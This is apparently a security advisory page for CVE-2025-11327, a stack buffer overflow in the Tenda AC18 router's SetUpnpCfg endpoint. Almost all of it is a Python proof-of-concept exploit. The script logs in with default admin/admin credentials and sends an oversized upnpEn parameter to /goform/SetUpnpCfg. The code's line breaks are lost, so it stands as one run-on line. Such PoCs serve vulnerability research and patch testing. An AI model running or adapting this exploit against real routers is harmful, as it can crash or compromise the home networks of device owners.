CVE-2025-11327：Tenda AC18路由器SetUpnpCfg接口栈缓冲区溢出漏洞

# CVE-2025-11327 PoC - Tenda AC18 SetUpnpCfg Stack Buffer Overflow # Author: Security Researcher # Target: Tenda AC18 firmware 15.03.05.19(6318) import requests import sys from pwn import * TARGET_IP = "192.168.0.1" TARGET_PORT = 80 LOGIN_URL = f"http://{TARGET_IP}:{TARGET_PORT}/login/Auth" VULN_URL = f"http://{TARGET_IP}:{TARGET_PORT}/goform/SetUpnpCfg" USERNAME = b"admin" PASSWORD = b"admin" def login(session): """Login to Tenda AC18 router with default credentials""" data = { "username": USERNAME, "password": PASSWORD } resp = session.post(LOGIN_URL, data=data, timeout=10) if resp.status_code == 200: print("[+] Login successful") return True return False def trigger_overflow(session): """Trigger stack buffer overflow via upnpEn parameter""" # Craft oversized upnpEn parameter to overflow stack buffer payload = b"A" * 1024 # Adjust length to overflow buffer data = { "upnpEn": payload.decode('latin-1') } headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0" } print(f"[*] Sending malicious payload to {VULN_URL}") try: resp = session.post(VULN_URL, data=data, headers=headers, timeout=10) print(f"[+] Response status: {resp.status_code}") print(f"[+] Response body: {resp.text[:200]}") except Exception as e: print(f"[-] Request failed: {e}") def main(): session = requests.Session() if login(session): trigger_overflow(session) else: print("[-] Login failed, check credentials") if __name__ == "__main__": main()